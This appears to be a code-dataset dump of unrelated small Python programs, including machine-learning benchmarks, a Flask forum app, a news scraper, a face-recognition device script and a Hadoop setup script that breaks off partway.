index int64 0 1,000k | blob_id stringlengths 40 40 | code stringlengths 7 10.4M |
|---|---|---|
18,200 | 8e48551596af5218ce9310ead61d60808f9b47d2 | #ezhil
n=int(input())
lis=[0,1,2,3,4,5,6,7,8,9]
if n in lis:
print("yes")
else:
print("no")
|
18,201 | 5cd171b06424c2e33e5d2d549cba51fcf69e4707 | #!/usr/bin/python
import re
import shutil
f1 = open("/etc/puppet/puppet.conf", "r")
f2 = open("/tmp/puppet_tmp", "w")
pattern= 'main'
append = 'server = puppet.forthscale.com'
for line in f1.readlines():
definition = re.findall(pattern, line)
if definition:
f2.write(line +'\n' + append + '\n')
else:
f2.write(line)
f1.close()
f2.close()
shutil.copy2('/tmp/puppet_tmp', '/etc/puppet/puppet.conf')
|
18,202 | cabe656231bb1815de28a95b1f60c89740afb5f3 | import numpy as np
import cupy as cp
import pandas as pd
import time, argparse
from sklearn.cluster import KMeans as sk_kmeans
from cuml.cluster import KMeans as cuml_kmeans
from cuml.dask.cluster import KMeans as dask_kmeans
from dask_cuda import LocalCUDACluster
from dask.distributed import Client
import cudf, dask_cudf, dask
args = argparse.ArgumentParser()
args.add_argument('--npartitions', type=int, help='number of data partitions')
args.add_argument('--single_gpu', type=bool, help='single or multi gpu')
args.add_argument('--dataset', type=str, help='type of data loading in')
args = args.parse_args()
npartitions = args.npartitions
single_gpu = args.single_gpu
datatype = args.dataset
def sklearn_km(train_pca, val_pca, nclusters):
print(str(time.ctime()) + ": Implementing KMeans Clustering with Sklearn...")
start = time.time()
kmeans = sk_kmeans(n_clusters=nclusters, random_state=0)
kmeans.fit(train_pca)
labels_val = np.array(kmeans.predict(val_pca))
end = time.time()
sk_diff = round(end - start, 2)
print(str(time.ctime()) + ": Finished KMeans Clustering with Sklearn in: " + str(sk_diff) + " seconds!")
return labels_val
def rapids_km(train_pca, val_pca, nclusters, single_gpu):
kmeans = None
name = None
if single_gpu:
print(str(time.ctime()) + ": Transferring CPU->GPU...")
train_pca = cp.array(train_pca)
val_pca = cp.array(val_pca)
print(str(time.ctime()) + ": Successfully Transferred!")
name = "Rapids"
kmeans = cuml_kmeans(n_clusters=nclusters, random_state=0)
else:
print(str(time.ctime()) + ": Transferring CPU->GPUs...")
train_pca = dask_cudf.from_dask_dataframe(dask.dataframe.from_pandas(pd.DataFrame(train_pca)), npartitions=npartitions).persist()
val_pca = dask_cudf.from_dask_dataframe(dask.dataframe.from_pandas(pd.DataFrame(val_pca)), npartitions=npartitions).persist()
print(str(time.ctime()) + ": Successfully Transferred!")
cluster = LocalCUDACluster(n_workers=npartitions, threads_per_worker=1)
client = Client(cluster)
name = "Dask"
kmeans = dask_kmeans(n_clusters=nclusters, random_state=0)
print(str(time.ctime()) + ": Implementing KMeans Clustering with " + name + "...")
kmeans.fit(train_pca)
runtimes = np.array([])
for i in range(10):
start = time.time()
labels_val = cp.asnumpy(cp.array(kmeans.predict(val_pca)))
end = time.time()
r_diff = end - start
runtimes = np.append(runtimes, r_diff)
avg_runtime = round(sum(runtimes[3:]) / len(runtimes[3:]), 2)
print(str(time.ctime()) + ": Finished KMeans Clustering with " + name + " in: " + str(avg_runtime) + " seconds!")
return labels_val
train_pca = None
val_pca = None
npzfile = None
nc = 0
if datatype == 'SARSMERSCOV2':
npzfile = np.load('/gpfs/alpine/gen150/scratch/arjun2612/ORNL_Coding/Code/sars_mers_cov2_dataset/smc2_dataset.npz')
training = npzfile['train3D']
validation = npzfile['val3D']
nc = 3
train_pca = np.reshape(training, (training.shape[0], -1))
val_pca = np.reshape(validation, (validation.shape[0], -1))
elif datatype == 'HEA':
npzfile = np.load('/gpfs/alpine/gen150/scratch/arjun2612/ORNL_Coding/Code/hea_dataset/hea_dataset.npz')
train_pca = npzfile['train']
val_pca = npzfile['val']
nc = 5
label_validation = npzfile['labval']
lv_onehot = npzfile['lvoh']
l = np.array([]).astype(int)
for i in range(len(lv_onehot)):
l = np.append(l, np.argmax(lv_onehot[i]))
sk_labels_val = sklearn_km(train_pca, val_pca, nc)
accuracy = (sum(sk_labels_val == l) / len(l)) * 100
print('Accuracy: {}'.format(accuracy))
r_labels_val = rapids_km(train_pca, val_pca, nc, single_gpu)
accuracy = (sum(r_labels_val == l) / len(l)) * 100
print('Accuracy: {}'.format(accuracy))
if datatype == 'SARSMERSCOV2':
npzfile2 = np.load('/gpfs/alpine/gen150/scratch/arjun2612/ORNL_Coding/Code/pca/smc2_sk_clusterfiles.npz')
reduced_val = npzfile2['redval']
np.savez('smc2_sk_plotting.npz', reslab=sk_labels_val, lv=label_validation, redval=reduced_val)
np.savez('smc2_r_plotting.npz', reslab=r_labels_val, redval=reduced_val, lv=label_validation)
elif datatype == 'HEA':
npzfile2 = np.load('/gpfs/alpine/gen150/scratch/arjun2612/ORNL_Coding/Code/pca/hea_sk_clusterfiles.npz')
reduced_val = npzfile2['redval']
np.savez('hea_sk_plotting.npz', reslab=sk_labels_val, lv=label_validation, redval=reduced_val)
np.savez('hea_r_plotting.npz', reslab=r_labels_val, redval=reduced_val, lv=label_validation) |
18,203 | e00ae040a2bdc16d54aead70b73e33e18f3ec14b |
yy = 1995
mm = 12
dd = 13
print("My Birthday is ", str(yy), " / ", str(mm)," / ",str(dd)) |
18,204 | 8c93e8b6669b7a8dbb7da1dd4ef23be94f3f9fda | import typing as t
from datetime import datetime
from sqlalchemy.sql import func
from sqlalchemy.orm import Session
from app.db.session import SessionLocal
from app import crud, models
db = SessionLocal()
CalcType = t.NewType('Calculation Type', str)
def get_claim_bill(
_db: Session = db, *, start: datetime = None, end: datetime = None,
store_internal_id: int = None, owner_id: int = None,
kind: models.ClaimKind = None, calculation: CalcType = "avg"
):
""" WE USE THIS FUNCTION TO CREATE A CLAIM QUERY WITH OPTIONAL PARAMETER
AND CALCULATE BY SQLALCHEMY.SQL.FUNC
"""
query = crud.claim.get_query(_db)
if start and end:
query = query.filter(models.Claim.created_at.between(start, end))
if store_internal_id:
query = query.filter(models.Claim.store_internal_id == store_internal_id)
if owner_id:
query = query.filter(models.Claim.owner_id == owner_id)
if kind:
query = query.filter(models.Claim.kind == kind)
bill = query.with_entities(getattr(func, calculation)(models.Claim.bill).label("_bill")).first()
bill_round = round(bill[0], 2) if bill[0] is not None else 0.00
return bill_round
def get_clean_discharge(
_db: Session = db, *, start: datetime = None, end: datetime = None,
store_internal_id: int = None, owner_id: int = None
) -> float:
"""
TO AVOID MULTIPLE COUNTED DISCHARGES
WE ONLY ACCEPT ONE DISCHARGE PER CONTRACT
MEANS WE VE TO EXCLUDE ALL OTHER ROWS WITH THE SAME CONTRACT NR
"""
exclude_contracts: t.List[int] = []
discharges: t.List[float] = []
claims = crud.claim.get_query(_db)
if start and end:
claims = claims.filter(models.Claim.created_at.between(start, end)) # noqa
if store_internal_id:
claims = claims.filter(models.Claim.store_internal_id == store_internal_id) # noqa
if owner_id:
claims = claims.filter(models.Claim.owner_id == owner_id) # noqa
# FOR BETTER SQL PERFORMANCE WE ENCLOSE OUR QUERY: EXCLUDE ALL WITH DISCHARGE IS NULL;
claims = claims.filter(models.Claim.discharge.isnot(None)) # noqa
claims: t.List[models.Claim] = claims.all() # noqa
for claim in claims:
if claim.contract_nr not in exclude_contracts:
exclude_contracts.append(claim.contract_nr)
discharges.append(claim.discharge)
total_discharges: float = sum(discharges)
total_discharges_round: float = round(total_discharges, 2)
return total_discharges_round
|
18,205 | 485bc175ffbca72706f0eeb92bef54ce8edfe39f | from oppgave2 import generateA
import numpy as np
from scipy.linalg import solve
# Gitte bjelkeparametre.
length = 2.0
width = 0.3
thickness = 0.03
density = 480.0 # kg/m^3
# Andre konstanter.
g = 9.8 # gravity, m/s^2
E = 1.3 * pow(10, 10) # Materialkonstanten N/m^2
I = (width * pow(thickness, 3)) / 12.0 #Arealmomentet.
f = - density * width * thickness * g
# Losning paa Ay=b med storrelse (n)
def solve_3(n):
# Deler bjelkens lengde saa alle segmentene er like.
h = length / n
# Genererer baandmatrise (A matrisen)
matrixA = generateA(n)
# Genererer b-matrisen.
matrixB = np.array([[(pow(h, 4) / (E * I)) * f]] * n)
# Loser for Y basert paa A og B.
matrixY = solve(matrixA, matrixB)
# Finner kondisjonstallet.
kondisjonstall = np.linalg.cond(matrixA)
# Returnerer losningen og kondisjonstallet.
return matrixY, kondisjonstall
if __name__ == '__main__':
matrixY, kondisjonstall = solve_3(10)
print(matrixY)
|
18,206 | 7d2da7b63bdf09d56f9328f4f6c00afba4318eaa | '''
Created on 2018年11月16日
@author: qiguangqin
'''
import numpy as np
import matplotlib.pyplot as plt
from sklearn.preprocessing import PolynomialFeatures
from sklearn.linear_model import LinearRegression
from sklearn.pipeline import Pipeline
from sklearn.preprocessing import StandardScaler
def get_data():
np.random.seed(666)
x=np.random.uniform(-3,3,size=100)
X=x.reshape(-1,1)
y=0.5*x**2+x+2+np.random.normal(0,1,size=100)
return X,y
def get_data2():
X=np.arange(1,11).reshape(-1,2)
def poly_regression_repre():
'''
在数据预处理时候，使用 poly_进行，类似于StandScaler
'''
X,y=get_data()
poly=PolynomialFeatures(degree=2)
'''
表示为原始数据集，添加最高几次幂,X2 增加X 的二次项，作为new_feauture,使用linear_regression
'''
poly.fit(X)
X2=poly.transform(X)
lin_reg=LinearRegression()
lin_reg.fit(X2,y)
print(X2[:2,:3]) ## 在左边增加了一列，1 X^0
y_predict=lin_reg.predict(X2)
print("coef=",lin_reg.coef_,"interception=",lin_reg.intercept_)
plt.scatter(X[:,0],y,alpha=0.5)
plt.plot(np.sort(X[:,0]),y_predict[np.argsort(X[:,0])],color='m')
plt.show()
def using_pipe_line():
'''
使用pipe_line,将polynomial feature，standscaler，lineargression ，做出一个管道,因为 sklearn 并没有给出一个 完整 poly 的类
'''
X,y=get_data()
poly_reg=Pipeline([("poly",PolynomialFeatures(degree=2)),("stand_scaler",StandardScaler()),("lin_reg",LinearRegression())])
poly_reg.fit(X,y) ## 需要将X，y 全部传入
y_predict=poly_reg.predict(X)
plt.scatter(X[:,0],y,alpha=0.5)
plt.plot(np.sort(X[:,0]),y_predict[np.argsort(X[:,0])],alpha=0.7,color='m')
def main():
poly_regression_repre()
#using_pipe_line()
if __name__ == '__main__':
main() |
18,207 | 8a8549f1ffa2ce97ec8a9c4fb179d909351e37de | # api https://api.github.com/repos/channelcat/sanic
# web_page https://github.com/channelcat/sanic
import requests
import webbrowser
import time
# api指定了follow的这个人star的所有项目，该用户是kennethreitz
api = "https://api.github.com/users/fdlancelee/starred"
# 先访问一次api，获取star列表
info = requests.get(api).json()
print(info.keys)
#定义一个空的list
starred = []
# 将star列表中的项目id存到list变量中
for i in info:
#append 是在list后面添加一个元素
starred.append(i['id'])
'''
while True:
# 获取star的项目
info = requests.get(api).json()
for i in info:
# 如果当前项目id在list变量中不存在，则说明是刚刚star的项目
if not i['id'] in starred:
starred.append(i['id'])
# 获取项目名称
repo_name = i['name']try:
pass
except Exception as e:
raise e
finally:
pass
# 获取作者名称
owner = i['owner']['login']
# 在浏览器中打开项目
web_page = "https://github.com/" + owner + "/" + repo_name
webbrowser.open(web_page)
# 每隔600秒（10分钟）检查一次
time.sleep(600)
'''
|
18,208 | ae2815a6c46cfbaf6ddfaefa66df805df7c19914 | import socketio
import time
import os
import sys
import json
from zipfile import ZipFile
contents = [{'filename': 'main/', 'bytes': ''}, {'filename': 'main/main.sh', 'bytes': 'python3 main.py\n'}, {'filename': 'main/main.py', 'bytes': "def fibonacci(n):\n if n < 1:\n print('err')\n return -1\n if n==1 or n==2:\n return 1\n return fibonacci(n-1)+fibonacci(n-2)\nprint(fibonacci(30))\n"}]
#spoof of fib contents
def process_zip_task(contents):
owd = os.getcwd()
zipObj = ZipFile('temp.zip', 'w')
for obj in contents:
fn = obj['filename']
byts = obj['bytes']
zipObj.writestr(fn,byts)
zipObj.extractall(path='temp')
os.system('rm temp.zip')
os.chdir(owd+'/temp/main')
os.system('mkdir output_tmp')
os.system('chmod u+x main.sh')
os.system('./main.sh > ../../output')
os.system('echo $? > ../../status')
os.system(f'mv output_tmp {owd}') #hmm what happens if no output folder, need to zip
os.chdir(owd)
os.system('rm -rf temp')
start = time.time()
process_zip_task(contents)
end = time.time()
print(end-start)
|
18,209 | 822d48555c07137af7221d19348c36d8f6392dd7 | #!/usr/bin/env python
# coding: utf-8
# In[4]:
import requests
from bs4 import BeautifulSoup
import RReadWriteCSV
# In[5]:
url="https://thehill.com"
# In[6]:
def scraping(array_of_ids):
count=0
previous=''
page = requests.get(url)
soup = BeautifulSoup(page.content, 'html.parser')
links=soup.find_all('a', href=True)
for a in links:
if len(a['href']) > 50 and previous != a['href']:
previous=a['href']
try:
article=requests.get(url + a['href'])
soup = BeautifulSoup(article.content, 'html.parser')
news={}
news['_id']=previous
if news['_id'] in array_of_ids:
continue
array_of_ids.append(news['_id'])
news["source"]=url+previous
news["title"]=soup.find(class_="content-wrapper title").find("h1").get_text()
date=soup.find(class_="submitted-date").get_text().split(" ")
news["date"]=date[0]
news["text"]=''
p_array=soup.find(class_="field-item even").find_all('p')
for p in p_array:
news["text"]+=p.get_text()
count+=1
RReadWriteCSV.write(news)
except:
continue
print(str(count) + 'scraped articles')
|
18,210 | 2c77d35a46947967219b7f48ff3c7a9abf7b9b7d | # ************* Lesson 6 **************
# ************* Tuples(Constant variables or Constant Lists)**************
# a tuple is a data structure that has a constant data value (Can't be changed)
# [tuple object doesn't support item assignment]
# create a tuple
PI = (3.1415) # the value of this tuple(variable) can't be changed
print(PI)
# tuple list
coordinates = (4, 5)
print(coordinates[0], coordinates[1])
|
18,211 | 52537f1bd2af4be3b7e9a6204d31628ea1f0dd15 | # -*- coding: utf8 -*-
import pypyodbc
import sqlite3
def sql_tool_sm(query,var=''):
connection = pypyodbc.connect('Driver={SQL Server};Server=10.62.24.161\SQLEXPRESS;Database=tool_SM;uid=aos;pwd=aos159753')
cursor = connection.cursor()
cursor.execute(query,var)
if query.lower().startswith('select') and not query.lower().startswith('select * into'):
x = cursor.fetchall()
cursor.close()
return x
else:
cursor.commit()
cursor.close()
###
def sqlite(query,var=''):
connection = sqlite3.connect(r'C:\Users\hp43\Desktop\sm_tool.db')
cursor = connection.cursor()
# connection.text_factory = str
cursor.execute(query,var)
if query.lower()[:6] == 'select':
x = cursor.fetchall()
connection.close()
return x
elif query.lower()[:6] == 'create':
connection.close()
else:
connection.commit()
connection.close()
bds_biet_thu_field = ['ten_du_an', 'ten_duong', 'ten_tang', 'ma_can', 'dien_tich_dat', 'dien_tich_san_xay_dung', 'tong_gia_tri_xay_tho', 'tong_gia_tri_hoan_thien', 'don_gia_dat', 'don_gia_ctxd']
chung_cu_field = ['ten_du_an', 'ten_toa_duong_day_khu', 'ten_tang_loai_nha', 'ma_can', 'dien_tich', 'loai_dien_tich', 'don_gia']
dac_diem_vi_tri = 3
data_mb = 10
rong_ngo_truc_chinh_yeu_to = 5
hinh_dang_quy_mo_mat_tien = 4
gia_uy_ban = 9
# for r in sql_tool_sm("SELECT * from bds_lien_ke_bt"):
# sqlite("INSERT INTO bds_lien_ke_bt VALUES({})".format(",".join(["?"]*len(bds_biet_thu_field))), r)
# for r in sql_tool_sm("SELECT * from data_chung_cu"):
# sqlite("INSERT INTO data_chung_cu VALUES({})".format(",".join(["?"]*len(chung_cu_field))), r)
# for r in sql_tool_sm("SELECT * from dac_diem_vi_tri"):
# sqlite("INSERT INTO dac_diem_vi_tri VALUES({})".format(",".join(["?"]*dac_diem_vi_tri)), r)
# for r in sql_tool_sm("SELECT * from khoang_cach_den_truc_chinh"):
# sqlite("INSERT INTO khoang_cach_den_truc_chinh VALUES({})".format(",".join(["?"]*rong_ngo_truc_chinh_yeu_to)), r)
# for r in sql_tool_sm("SELECT * from yeu_to"):
# sqlite("INSERT INTO yeu_to VALUES({})".format(",".join(["?"]*rong_ngo_truc_chinh_yeu_to)), r)
# for r in sql_tool_sm("SELECT * from do_rong_ngo"):
# sqlite("INSERT INTO do_rong_ngo VALUES({})".format(",".join(["?"]*rong_ngo_truc_chinh_yeu_to)), r)
for r in sql_tool_sm("SELECT * from quy_mo"):
sqlite("INSERT INTO quy_mo VALUES({})".format(",".join(["?"]*hinh_dang_quy_mo_mat_tien)), r)
for r in sql_tool_sm("SELECT * from hinh_dang"):
sqlite("INSERT INTO hinh_dang VALUES({})".format(",".join(["?"]*hinh_dang_quy_mo_mat_tien)), r)
for r in sql_tool_sm("SELECT * from mat_tien"):
sqlite("INSERT INTO mat_tien VALUES({})".format(",".join(["?"]*hinh_dang_quy_mo_mat_tien)), r)
for r in sql_tool_sm("SELECT * from khung_gia_uy_ban"):
sqlite("INSERT INTO khung_gia_uy_ban VALUES({})".format(",".join(["?"]*gia_uy_ban)), r)
# for r in sql_tool_sm("SELECT * from data_mb"):
# sqlite("INSERT INTO data_mb VALUES({})".format(",".join(["?"]*data_mb)), r) |
18,212 | 61c9545e14519ee2a593d443ef39a2487a7b300d | # Face Recognition by Maker Asia Co., Ltd.
# Distributed by AiIoTShop.com
# Author by Comdet
import sensor, image, time, lcd, os
import KPU as kpu
import ulab as np
from Corgi85 import corgi85
from Dude import dude
#=== setup camera ===#
sensor.reset()
sensor.set_pixformat(sensor.RGB565)
sensor.set_framesize(sensor.QVGA)
sensor.set_vflip(1)
sensor.run(1)
#=== setup LCD screen ===#
lcd.init()
lcd.rotation(0)
#=== Helper Function ===#
face_dataset = []
last_face_id = 0;
def clear_dataset(file_name,dataset):
os.remove(file_name)
dataset = []
def match(tester,dataset):
codex = np.array(dataset)
t = np.array(tester)
for i in range(codex.shape()[0]):
codex[i,:] = codex[i,:] - t
data = np.sum(codex * codex, axis=1)
data = np.sqrt(data)
if codex.shape()[0] == 1:
return data,1
ind = np.argmin(data)
return data[ind][0],ind + 1
def read_dataset(file_name):
data = []
if file_name not in os.listdir():
open(file_name, 'x').close()
f = open(file_name,"r")
for line in f:
line=line.rstrip('\n').rstrip('\r')
rows = [float(row) for row in line.split(',')]
data.append(rows)
f.close()
return data
def append_dataset(file_name,data):
face_dataset.append(data)
f = open(file_name,"a")
str_list_target = ["{:0.4f}".format(x) for x in data]
str_target = ','.join(str_list_target)
f.write(str_target)
f.close()
print("save to dataset success")
def send_sheet(face_id):
return
#=== AI Models ===#
task_face_detect = kpu.load(0x200000)
task_face_encode = kpu.load(0x300000)
kpu.set_outputs(task_face_encode,0,1,1,128)
anchor = (1.889, 2.5245, 2.9465, 3.94056, 3.99987, 5.3658, 5.155437, 6.92275, 6.718375, 9.01025)
kpu.init_yolo2(task_face_detect, 0.5, 0.3, 5, anchor)
#====== config ======#
face_threshold = 15
dataset_filename = "faces.csv"
#====================#
#=== SETUP ===#
#clear_dataset(dataset_filename,face_dataset)
face_dataset = read_dataset(dataset_filename);
corgi85.IFTTT_init("corgi_detect","0hI55mQkUiimG6RIjpWhp")
#=== wait wifi connect ===#
while corgi85.wifi_check() == 0:
print("WIFI Connecting ...")
time.sleep(1)
while(True):
img = sensor.snapshot()
#--- face detect ---#
faces = kpu.run_yolo2(task_face_detect, img)
if faces:
#--- check face size ---#
x1 = faces[0].x() - 10
y1 = faces[0].y() - 10
w = faces[0].w() + 20
h = faces[0].h() + 10
if w > 80 and h > 80:
#--- crop target face ---#
face = img.cut(x1,y1,w,h)
face = face.resize(112,112)
a = img.draw_rectangle(x1,y1,w,h,color = (255,0,0), thickness=2)
a = face.pix_to_ai()
#--- encode face ---#
fmap = kpu.forward(task_face_encode,face)
encoded = fmap[:]
#--- save new face ---#
if dude.IsBootPressed() : # User pressed BOOT button
time.sleep_ms(500)
lcd.clear((0,255,0))
time.sleep_ms(2000)
append_dataset(dataset_filename,encoded)
print("saved")
if face_dataset:
#--- find match ---#
score, pid = match(encoded,face_dataset)
print(score)
print("Match ID %d score = %.3f" % (pid,score))
if score < face_threshold : # recognized
a = img.draw_rectangle(x1,y1,w,h,color = (0,255,0), thickness=2)
a = img.draw_string(x1+5,y1+10,"ID:%d" % pid,color=(0,255,0),scale=3)
# ... DO SOMETHING HERE ...
if last_face_id != pid:
last_face_id = pid
print("======= send data =======")
corgi85.IFTTT_setParam(1,str(pid))
corgi85.IFTTT_fire()
img = img.resize(240,240)
lcd.display(img)
|
18,213 | 8aeddc17cc1a26f32170374e3b2adbeda6a48467 | from socket import *
from time import sleep
class send:
def __init__(self, ip):
self.ss = socket(AF_INET, SOCK_STREAM)
self.ss.connect((ip), 13333)
def send(self, code):
print('ready to send')
self.ss.send(code.encode())
print('sent')
|
18,214 | 5ebb93a7cf8dfac7637f76f860549da05a491c4f | from flask import Flask, render_template, flash, redirect, url_for, session, request, logging
from flaskext.mysql import MySQL
from wtforms import Form, StringField, TextAreaField, PasswordField, validators
from passlib.hash import sha256_crypt
from functools import wraps
from datetime import datetime
app = Flask(__name__,static_url_path='/static')
#mysql
mysql = MySQL()
mysql.init_app(app)
# Config MySQL
app.config['MYSQL_DATABASE_HOST'] = 'localhost'
app.config['MYSQL_DATABASE_USER'] = 'root'
app.config['MYSQL_DATABASE_PASSWORD'] = 'password'
app.config['MYSQL_DATABASE_DB'] = 'flask'
app.config['MYSQL_CURSORCLASS'] = 'DictCursor'
TEMPLATES_AUTO_RELOAD=True
@app.route("/")
def index():
return render_template('index.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password_candidate = request.form['password']
conn = mysql.connect()
cursor = conn.cursor()
result = cursor.execute("SELECT * FROM users WHERE username = %s", [username])
if result > 0:
data = cursor.fetchone()
password = data[2]
if sha256_crypt.verify(password_candidate, password):
session['logged_in'] = True
session['username'] = username
return redirect(url_for('dashboard'))
else:
return render_template('wrong_credentials.html')
cursor.close()
else:
return render_template('wrong_credentials.html')
return render_template('login.html')
@app.route('/dashboard')
def dashboard():
if session['logged_in'] != True:
return render_template('index.html')
else:
conn = mysql.connect()
cursor = conn.cursor()
result = cursor.execute("SELECT * FROM threads")
threads = cursor.fetchall()
if result > 0:
return render_template('dashboard.html',threads=threads)
else:
return render_template('dashboardempty.html')
# Close connection
#cur.close()
class ThreadForm(Form):
title = StringField('Title', [validators.Length(min=1, max=200)])
body = TextAreaField('Body', [validators.Length(min=30)])
@app.route('/create_thread', methods=['GET', 'POST'])
def add_thread():
if session['logged_in'] == True:
form = ThreadForm(request.form)
if request.method == 'POST' and form.validate():
title = form.title.data
body = form.body.data
conn = mysql.connect()
cursor = conn.cursor()
# Execute
cursor.execute("INSERT INTO threads(title, body, author) VALUES(%s, %s, %s)",(title, body, session['username']))
# Commit to DB
conn.commit()
#Close connection
conn.close()
return render_template('thread_success.html')
return render_template('create_thread.html', form=form)
else:
return render_template('login.html')
@app.route('/edit_thread/<string:id>', methods=['GET', 'POST'])
def edit_thread(id):
if session['logged_in'] != True:
return render_template('index.html')
else:
# Create cursor
conn = mysql.connect()
cursor = conn.cursor()
# Get article by id
result = cursor.execute("SELECT * FROM threads WHERE id = %s", [id])
thread = cursor.fetchone()
cursor.close()
# Get form
form = ThreadForm(request.form)
# Populate article form fields
form.title.data = thread[1]
form.body.data = thread[2]
if request.method == 'POST' and form.validate():
title = request.form['title']
body = request.form['body']
# Create Cursor
conn = mysql.connect()
cursor = conn.cursor()
app.logger.info(title)
# Execute
cursor.execute ("UPDATE threads SET title=%s, body=%s WHERE id=%s",(title, body, id))
# Commit to DB
conn.commit()
#Close connection
cursor.close()
return render_template('threadupdated.html')
return render_template('edit_thread.html', form=form)
@app.route('/delete_thread/<string:id>', methods=['POST'])
def delete_thread(id):
if session['logged_in'] != True:
return render_template('index.html')
else:
# Create cursor
conn = mysql.connect()
cursor = conn.cursor()
# Execute
cursor.execute("DELETE FROM threads WHERE id = %s", [id])
conn.commit()
#Close connection
cursor.close()
return render_template('threaddeleted.html')
@app.route('/logout')
def logout():
session.clear()
return redirect(url_for('login'))
def is_logged_in(f):
@wraps(f)
def wrap(*args, **kwargs):
if 'logged_in' in session:
return f(*args, **kwargs)
else:
return redirect(url_for('login'))
return wrap
def current_time():
return {'now': datetime.utcnow()}
@app.route('/threads')
def threads():
conn = mysql.connect()
cursor = conn.cursor()
result = cursor.execute("SELECT * FROM threads")
threads = cursor.fetchall()
if result > 0:
return render_template('threads.html', threads=threads)
else:
return render_template('dashboardempty.html')
# Close connection
cursor.close()
@app.route('/thread/<string:id>/')
def thread(id):
conn = mysql.connect()
cursor = conn.cursor()
result = cursor.execute("SELECT * FROM threads WHERE id = %s", [id])
threads = cursor.fetchone()
return render_template('thread.html', threads=threads)
class RegisterForm(Form):
username = StringField('Username', [validators.Length(min=4, max=25)])
email = StringField('Email', [validators.Length(min=6, max=50)])
password = PasswordField('Password', [
validators.DataRequired(),
validators.EqualTo('confirm', message='Passwords do not match')
])
confirm = PasswordField('Confirm Password')
@app.route('/signup', methods=['GET', 'POST'])
def signup():
form = RegisterForm(request.form)
if request.method == 'POST' and form.validate():
username = form.username.data
email = form.email.data
password = sha256_crypt.encrypt(str(form.password.data))
# Create cursor
conn = mysql.connect()
cursor = conn.cursor()
# Execute query
cursor.execute("INSERT INTO users(username, email, password) VALUES(%s, %s, %s)", (username, email, password))
#commit
conn.commit()
flash('You are now registered and can log in', 'success')
return redirect('/login')
return render_template('signup.html', form=form)
# set the secret key. keep this really secret:
app.secret_key = 'A0Zr98j/3yX R~XHH!jmN]LWX/,?RT'
if __name__ == '__main__':
app.run(Debug=True)
|
18,215 | 483b4c8c7f8f2d3e61d4030398e26f1c38b00a56 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import json
from alipay.aop.api.response.AlipayResponse import AlipayResponse
from alipay.aop.api.domain.MemberCardUserTransactionDetail import MemberCardUserTransactionDetail
class AntMerchantExpandMembercardTransactionBatchqueryResponse(AlipayResponse):
def __init__(self):
super(AntMerchantExpandMembercardTransactionBatchqueryResponse, self).__init__()
self._partner_id = None
self._transaction_detail_list = None
@property
def partner_id(self):
return self._partner_id
@partner_id.setter
def partner_id(self, value):
self._partner_id = value
@property
def transaction_detail_list(self):
return self._transaction_detail_list
@transaction_detail_list.setter
def transaction_detail_list(self, value):
if isinstance(value, list):
self._transaction_detail_list = list()
for i in value:
if isinstance(i, MemberCardUserTransactionDetail):
self._transaction_detail_list.append(i)
else:
self._transaction_detail_list.append(MemberCardUserTransactionDetail.from_alipay_dict(i))
def parse_response_content(self, response_content):
response = super(AntMerchantExpandMembercardTransactionBatchqueryResponse, self).parse_response_content(response_content)
if 'partner_id' in response:
self.partner_id = response['partner_id']
if 'transaction_detail_list' in response:
self.transaction_detail_list = response['transaction_detail_list']
|
18,216 | 182db5f3e343b4fbaabca087e94e2ab9e4c97839 | from pyspark.sql import SQLContext
from mozetl.testpilot.containers import transform_testpilot_pings
def create_ping_rdd(sc, payload):
return sc.parallelize([
{'payload': {
'test': '@testpilot-containers',
'other-ignored-field': 'who cares',
'payload': payload
}}
])
def create_row(overrides):
keys = ["uuid", "userContextId", "clickedContainerTabCount", "eventSource",
"event", "hiddenContainersCount", "shownContainersCount",
"totalContainersCount", "totalContainerTabsCount",
"totalNonContainerTabsCount", "pageRequestCount", "test"]
overrides['test'] = '@testpilot-containers'
return {key: overrides.get(key, None) for key in keys}
def test_open_container_ping(row_to_dict, spark_context):
input_payload = {
'uuid': 'a',
'userContextId': 10,
'clickedContainerTabCount': 20,
'event': 'open-tab',
'eventSource': 'tab-bar'
}
result_payload = input_payload
result_payload['userContextId'] = '10'
actual = transform_testpilot_pings(
SQLContext(spark_context),
create_ping_rdd(spark_context, input_payload)
).take(1)[0]
assert row_to_dict(actual) == create_row(result_payload)
def test_edit_container_ping(row_to_dict, spark_context):
input_payload = {
'uuid': 'b',
'event': 'edit-containers'
}
actual = transform_testpilot_pings(
SQLContext(spark_context),
create_ping_rdd(spark_context, input_payload)
).take(1)[0]
assert row_to_dict(actual) == create_row(input_payload)
def test_hide_container_ping(row_to_dict, spark_context):
input_payload = {
'uuid': 'a',
'userContextId': 'firefox-default',
'clickedContainerTabCount': 5,
'event': "hide-tabs",
'hiddenContainersCount': 2,
'shownContainersCount': 3,
'totalContainersCount': 5,
}
actual = transform_testpilot_pings(
SQLContext(spark_context),
create_ping_rdd(spark_context, input_payload)
).take(1)[0]
assert row_to_dict(actual) == create_row(input_payload)
def test_close_container_tab_ping(row_to_dict, spark_context):
input_payload = {
"uuid": 'a',
"userContextId": 'firefox-default',
"event": "page-requests-completed-per-tab",
"pageRequestCount": 2,
}
actual = transform_testpilot_pings(
SQLContext(spark_context),
create_ping_rdd(spark_context, input_payload)
).take(1)[0]
assert row_to_dict(actual) == create_row(input_payload)
|
18,217 | e291857352fa9457a3c3f31208a3681034c2a53e | import os
print("\n\n")
print("\t\t\t\t\t\tWelcome to hadoop cluster setup menu")
print("\t\t\t\t\t\t------------------------------------")
print(''' \t\t\t\t\t\tFor setting hadoop cluster you have to follow certain steps:
\t\t\t\t\tStep:1 Give details about namenode.
\t\t\t\t\tStep:2 Give details about datanode.
\t\t\t\t\tStep:3 give details about client.
''')
Namenode_IP = input("\t\t\t\t\t\tGive IP at which you want to configure namenode: ")
print("Downloading and Configuring Hadoop and JAVA")
# copy down.py file that contains code for downloading and installing hadoop and java rpm for linux
os.system("scp down.sh root@{}:/root/".format(Namenode_IP))
os.system("ssh root@{} sudo chmod +x down.sh ".format(Namenode_IP))
os.system("ssh root@{} sudo sh down.sh".format(Namenode_IP))
#copy namenode.py into instance
os.system("scp nameNode.py root@{}:/root/".format(Namenode_IP))
#install python3 on the instance
os.system("sleep 2")
os.system("ssh root@{} sudo yum install python3 -y".format(Namenode_IP))
#setup namenode core-site.xml and hdfs-site.xml
os.system("sleep 2")
os.system("ssh root@{} sudo python3 nameNode.py".format(Namenode_IP))
#format the namenode
os.system("sleep 2")
